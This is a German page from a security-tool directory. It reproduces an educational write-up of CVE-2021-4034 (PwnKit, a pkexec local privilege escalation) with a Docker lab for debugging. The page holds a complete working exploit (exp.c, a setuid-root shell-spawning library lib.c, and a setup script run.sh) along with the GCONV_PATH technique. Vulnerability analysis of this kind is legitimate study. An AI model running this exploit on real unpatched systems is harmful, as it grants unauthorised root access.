Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-4034 — Ausführlicher Bericht und Proof-of-Concept-Exploit für CVE-2021-4034 (PolKit pkexec lokale Privilegieneskalation), einschließlich einer Docker-Lab-Umgebung für praktische Analyse und Debugging. | Kitploit
Tools/GitHubGitHub/chenaotian/cve-2021-4034
Privilege EscalationSchwachstellenanalyseExploitationPenetrationstestsLernen & BildungBinary-ExploitationLabs & Praxis
GitHubchenaotian/cve-2021-4034

CVE-2021-4034

Ausführlicher Bericht und Proof-of-Concept-Exploit für CVE-2021-4034 (PolKit pkexec lokale Privilegieneskalation), einschließlich einer Docker-Lab-Umgebung für praktische Analyse und Debugging.

Repository anzeigen
12310vor 4 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2021-4034 PolKit Lokale Privilegienausweitung Analyse

[toc]

Schwachstellenübersicht

Schwachstellennummer: CVE-2021-4034

Schwachstellenbewertung:

Schwachstellenprodukt: Linux PolKit (pkexec)

Betroffene Versionen: Betrifft Versionen von 2009 bis heute (aktuell 0.105) Referenz: http://its.dlut.edu.cn/info/1054/78309.htm

Ausnutzungsbedingungen: Linux lokaler Zugriff; pkexec ist eine suid-Datei und hat Ausführungsberechtigung

Quellcode-Bezug: apt source policykit-1 oder https://launchpad.net/ubuntu/bionic/+package/policykit-1

Docker-Umgebung

Docker-Umgebung: chenaotian/cve-2021-4034

Ich habe selbst einen Docker erstellt, der Folgendes bereitstellt:

  1. Ein selbst kompiliertes pkexec mit Quellcode-Debugging
  2. Glibc mit Debug-Symbolen (scheinbar nicht nützlich)
  3. GDB und GDB-Plugins pwngdb & pwndbg (scheinbar nicht notwendig)
  4. Das Exp in der Debug-Umgebung

Alles befindet sich im Verzeichnis /root/:

image-20220126183638493

  • Das Exp-Verzeichnis ist das Verzeichnis, in dem sich das Exp und die run.sh befinden. Mit su test kann man zum Test-Benutzer wechseln und es ausführen.
  • glibc-2.27 ist das Quellcode-Verzeichnis von glibc, wird wahrscheinlich nicht benötigt, aber falls nötig, erleichtert es das Debugging mit GDB.
  • polkit-0.105 ist das PolicyKit-Quellpaket

Docker starten:

root@kitploit:~
docker run -d -ti --rm -h cvedebug --name cvedebug --cap-add=SYS_PTRACE chenaotian/cve-2021-4034:latest /bin/bash

Exp testen:

root@kitploit:~
cd ~/exp/CVE-2021-4034/
./run.sh
su test
./exp
whoami

Schwachstellenprinzip

Das betroffene Produkt ist der Befehl pkexec von Polkit. pkexec ist ähnlich wie sudo ein Werkzeug, mit dem wir Befehle als anderer Benutzer (normalerweise root) ausführen können. Mit dem Befehl dpkg kann man das Paket anzeigen, zu dem pkexec gehört:

root@kitploit:~
dpkg -S /usr/bin/pkexec

image-20220126152839307

Dann das Quellpaket beziehen (auch in meinem Docker enthalten) und anschließend aus dem Quellpaket selbst eine debug-fähige Version kompilieren, um das Debugging zu erleichtern.

Auslösepunkt der Schwachstelle

Das Prinzip der Schwachstellenauslösung ist sehr einfach.

/polkit-0.105/src/programs/pkexec.c : 386 main

root@kitploit:~
int
main (int argc, char *argv[])
{
    
  ··· ···
  ··· ···
      
  /* Das bedeutet: Durchlaufe die Benutzereingabeparameter und setze Werte basierend auf den verschiedenen eingegebenen Parametern.
   * Das Problem ist jedoch, dass die Schleife bei 1 beginnt und den Fall nicht berücksichtigt, dass der Benutzer keine Parameter eingegeben hat.
   */
  for (n = 1; n < (guint) argc; n++) 
    {
      if (strcmp (argv[n], "--help") == 0)
        {
          opt_show_help = TRUE;
        }
      ··· ···
      else //Wenn ein unbekannter Parameter erkannt wird, die Schleife verlassen, was bedeutet, dass dieser Parameter der auszuführende Befehl ist
        {
          break;
        }
    }

  ··· ···

  g_assert (argv[argc] == NULL);
  path = g_strdup (argv[n]); //Hole die konkrete Zeichenkette des auszuführenden Befehls
  if (path == NULL)
    {
      ···
    }
  if (path[0] != '/')
    {
      /* g_find_program_in_path() ist nicht angreifbar durch Angriffe über die Umgebung */
      //Diese Funktion sucht nach dem absoluten Pfad des auszuführenden Befehls basierend auf der PATH-Umgebungsvariable.
      s = g_find_program_in_path (path); 
      if (s == NULL)
        {
          ···
        }
      g_free (path);
      argv[n] = path = s;//Setze den erhaltenen absoluten Pfad zurück in den Befehlszeilenparameter
    }
  ··· ···
  ··· ···

Basierend auf meinen Kommentaren im Code ergibt sich folgende Analyse:

  1. Zunächst werden in der main-Funktion einige Variablen basierend auf den vom Benutzer eingegebenen Befehlszeilenparametern gesetzt. Der Startwert der for-Schleife ist 1, was bedeutet, dass standardmäßig davon ausgegangen wird, dass mindestens ein Parameter vorhanden ist (der Befehl, der mit pkexec ausgeführt werden soll).
  2. Wenn ein Befehlszeilenparameter gefunden wird, der nicht mit -- beginnt, wird dieser als der auszuführende Befehl angesehen, und die Schleife wird verlassen, um mit der folgenden Logik fortzufahren.
  3. Die Funktion g_find_program_in_path wird aufgerufen, um den absoluten Pfad des Befehls zu suchen. g_find_program_in_path sucht basierend auf der PATH-Umgebungsvariable nach dem absoluten Pfad des übergebenen Parameters (Befehl). Zum Beispiel gibt die Eingabe von cat den Wert /bin/cat zurück.
  4. Der zurückgegebene absolute Pfad wird zurück in die Position des Befehlszeilenparameters geschrieben. (Kann man als Konvertierung vom Befehl zum absoluten Pfad der entsprechenden Datei verstehen.)

Das ist gut zu verstehen, aber das Problem liegt darin:

  1. Wenn ein Linux-Binärprogramm ausgeführt wird, werden die Befehlszeilenparameter argv[] und die Umgebungsvariablen environ[] am unteren Ende des Stacks abgelegt, und argv[] und environ[] sind miteinander verbunden. Das letzte Element von argv[] ist null.

    image-20220126162140802

  2. Wenn pkexec über die Befehlszeile gestartet wird und keine anderen Parameter übergeben werden, ist argv[0] gleich "pkexec" und argv[1] ist \x00 – kein Problem. Wenn pkexec jedoch mit der Funktion execve gestartet wird und keine weiteren Parameter übergeben werden, ist gleich und zeigt auf die Umgebungsvariablen! Wenn dann gelesen wird, wird auf zugegriffen.

Welche Auswirkungen hat das? Wenn execve ohne weitere Parameter verwendet wird, hat argv[] die Länge 0, und somit ist argv[1] gleich environ[0]. Dadurch wird die oben analysierte Logik zu: Hole den Wert der ersten Umgebungsvariable und suche im PATH-Umgebungsvariablen nach dessen absolutem Pfad. Falls gefunden, schreibe ihn zurück in die erste Umgebungsvariable. Die Ausnutzungsmethode ergibt sich wie folgt:

Schwachstellenausnutzung

Zuerst muss klar sein, dass pkexec eine privilegierte (suid) Datei ist:

image-20220126161324831

Wie kann man in einer privilegierten Datei mit Hilfe von Umgebungsvariablen etwas anstellen? Zunächst ein kleines Detail:

Ein kleines Detail

Der dynamische Linker von Linux, ld-linux-x86-64.so.2, löscht beim Ausführen eines privilegierten Programms sensible Umgebungsvariablen:

Funktion _dl_non_dynamic_init: glibc-2.27/elf/dl-support.c : 307

root@kitploit:~
void
_dl_non_dynamic_init (void)
{
  ··· ···
  ··· ···

  if (__libc_enable_secure) //Im privilegierten Modus
    {
      static const char unsecure_envvars[] =
	UNSECURE_ENVVARS
#ifdef EXTRA_UNSECURE_ENVVARS
	EXTRA_UNSECURE_ENVVARS
#endif
	;
      const char *cp = unsecure_envvars;

      //Schleife, um alle Umgebungsvariablen in der Liste der gefährlichen Umgebungsvariablen zu löschen (unset)
      while (cp < unsecure_envvars + sizeof (unsecure_envvars)) 
	{
	  __unsetenv (cp);
	  cp = (const char *) __rawmemchr (cp, '\0') + 1;
	}

#if !HAVE_TUNABLES
      if (__access ("/etc/suid-debug", F_OK) != 0)
	__unsetenv ("MALLOC_CHECK_");
#endif
    }
··· ···
··· ···
}

Die Liste der gefährlichen Umgebungsvariablen UNSECURE_ENVVARS ist wie folgt definiert:

glibc-2.27/sysdeps/generic/unsecvars.h : 10

root@kitploit:~
#define GLIBC_TUNABLES_ENVVAR "GLIBC_TUNABLES\0"
#define UNSECURE_ENVVARS \
  "GCONV_PATH\0"							      \
  "GETCONF_DIR\0"							      \
  GLIBC_TUNABLES_ENVVAR							      \
  "HOSTALIASES\0"							      \
  "LD_AUDIT\0"								      \
  "LD_DEBUG\0"								      \
  "LD_DEBUG_OUTPUT\0"							      \
  "LD_DYNAMIC_WEAK\0"							      \
  "LD_HWCAP_MASK\0"							      \
  "LD_LIBRARY_PATH\0"							      \
  "LD_ORIGIN_PATH\0"							      \
  "LD_PRELOAD\0"							      \
  "LD_PROFILE\0"							      \
  "LD_SHOW_AUXV\0"							      \
  "LD_USE_LOAD_BIAS\0"							      \
  "LOCALDOMAIN\0"							      \
  "LOCPATH\0"								      \
  "MALLOC_TRACE\0"							      \
  "NIS_PATH\0"								      \
  "NLSPATH\0"								      \
  "RESOLV_HOST_CONF\0"							      \
  "RES_OPTIONS\0"							      \
  "TMPDIR\0"								      \
  "TZDIR\0"

Wenn festgestellt wird, dass das Programm eine privilegierte Datei (suid) ist, werden die oben genannten Umgebungsvariablen gelöscht. Wie man sieht, handelt es sich größtenteils um Umgebungsvariablen der LD_-Serie, die alle die Fähigkeit haben, den Ladepfad dynamischer Bibliotheken zu beeinflussen. Dies verhindert, dass ein Benutzer mit niedrigen Berechtigungen über diese Umgebungsvariablen ein suid-Programm dazu bringt, eine nicht vertrauenswürdige .so-Datei zu laden, was zur Ausführung von bösartigem Code und zur Privilegienausweitung führen könnte.

In diesem Schwachstellenszenario haben wir die einmalige Gelegenheit, eine beliebige Umgebungsvariable zu schreiben. Unser Ansatzpunkt ist, zu versuchen, etwas aus den oben genannten Umgebungsvariablen zu finden, die normalerweise nicht an suid-Programme übergeben werden können.

Ausnutzungsprinzip

Da der Proof-of-Concept (PoC) bereits veröffentlicht wurde, ist die Antwort hier einfach. Ich beziehe mich auf den PoC von arthepsy. Der Inhalt ist einfach, aber durch diesen PoC wird klar, dass die entscheidende Umgebungsvariable GCONV_PATH ist. Sie ist tatsächlich ein Mitglied der obigen Liste gefährlicher Umgebungsvariablen, und zwar das erste!

Über GCONV_PATH und die Funktion iconv_open():

Die Funktion iconv_open() fordert einen Konvertierungsdeskriptor an, der Zeichensequenzen von der Kodierung fromcode in die Kodierung tcode konvertiert. Der Deskriptor enthält den Konvertierungsstatus. Die Funktion iconv_open() sucht zunächst nach der systemweit bereitgestellten Datei gconv-modules, die die Pfade zu den Informationen der einzelnen Zeichensätze enthält, wobei die Informationen jedes Zeichensatzes in einer .so-Datei gespeichert sind. Anschließend wird basierend auf den Angaben in der gconv-modules-Datei die entsprechende .so-Datei für den Parameter verlinkt und die spezifische Operation ausgeführt. Wenn die Umgebungsvariable GCONV_PATH existiert, dann sucht die Funktion iconv_open() über GCONV_PATH die Datei gconv-modules; die weiteren Abläufe bleiben gleich.

Das bedeutet, dass die Umgebungsvariable GCONV_PATH ebenfalls eine ähnliche Funktion wie LD_LIBRARY_PATH hat. Sie kann den Suchpfad für .so-Dateien der Funktion iconv_open() festlegen. Wenn wir GCONV_PATH fälschen und dann weiter gconv-modules sowie eine bösartige .so-Datei fälschen, können wir eine beliebige .so-Datei laden und beliebigen Code ausführen.

Der grobe Ablauf ist wie folgt:

  1. Erstelle ein Verzeichnis mit dem Namen GCONV_PATH=.
  2. Erstelle im Verzeichnis GCONV_PATH=. eine Datei mit dem Namen pwnkitdir und setze die Ausführungsberechtigung.
  3. Erstelle ein Verzeichnis mit dem Namen pwnkitdir
  4. Erstelle im Verzeichnis pwnkit die Datei gconv-modules und schreibe folgenden Inhalt gemäß dem Format:
    root@kitploit:~
    module UTF-8// PWNKIT// pwnkit 1
    
  5. Lege im Verzeichnis pwnkit eine bösartige .so-Datei pwnkit.so ab, die Code zum Erlangen einer Shell enthält.
  6. Setze die entsprechenden Umgebungsvariablen:
    1. Erste Umgebungsvariable: pwnkitdir
    2. Zweite Umgebungsvariable: PATH=GCONV_PATH=.. So setzt die Funktion g_find_program_in_path den Pfad zu zusammen, was genau dem Format einer Umgebungsvariable entspricht, und das Verzeichnis existiert, ebenso die Datei .

Dann ist es erfolgreich. Der konkrete Exploit folgt:

Exploit

exp.c

root@kitploit:~
#include <stdio.h>
#include <unistd.h>

int main(int argc, char **argv)
{
        char * const a_argv [] = { NULL};
        char * const a_envp[] = {
                "pwnkitdir",
                "PATH=GCONV_PATH=.",
                "CHARSET=PWNKIT",
                "SHELL=xxx",
                NULL
        };
        execve("/usr/local/bin/pkexec", a_argv, a_envp); // Beachte: Pfad je nach tatsächlicher Situation anpassen
}

lib.c

root@kitploit:~
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

static void __attribute__ ((constructor)) exp(void);
static void exp(void)
{
        setuid(0); seteuid(0); setgid(0); setegid(0);
        static char *a_argv[] = { "sh", NULL };
        static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
        execve("/bin/sh", a_argv, a_envp);
}

run.sh

root@kitploit:~
mkdir 'GCONV_PATH=.'
touch 'GCONV_PATH=./pwnkitdir'
chmod 777 'GCONV_PATH=./pwnkitdir'
mkdir pwnkitdir
touch pwnkitdir/gconv-modules
echo "module UTF-8// PWNKIT// pwnkit 1" >> pwnkitdir/gconv-modules
gcc -fPIC -shared lib.c -o pwnkitdir/pwnkit.so
gcc exp.c -o exp

Erfolgreiche Ausnutzung:

image-20220126182231579

Abhilfemaßnahmen

Auf die neueste Version aktualisieren.

Referenzen

Schwachstellenoffenlegung: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034

PoC von arthepsy: https://github.com/arthepsy/CVE-2021-4034

Tool herunterladen
argv[0]
\x00
argv[1]
argv[1]
über die Grenzen
environ[0]

Bei direktem Start von pkexec über die Befehlszeile ist argc gleich 1, argv[0] ist der Pfad von pkexec:

image-20220126162616203

Beim Start von pkexec mit der Funktion execve ist argc gleich 0:

image-20220126162804529

GCONV_PATH=./pwnkitdir
./pwnkitdir
GCONV_PATH=./pwnkitdir
  • Umgebungsvariable CHARSET=PWNKIT: Wird vor dem Aufruf von iconv_open verwendet, um in gconv-modules nach der .so-Datei zu suchen.
  • Umgebungsvariable SHELL=xxx: Wird ebenfalls vor iconv_open verwendet.
  • Starte pkexec mit execve, ohne Parameter, aber mit den oben gesetzten Umgebungsvariablen.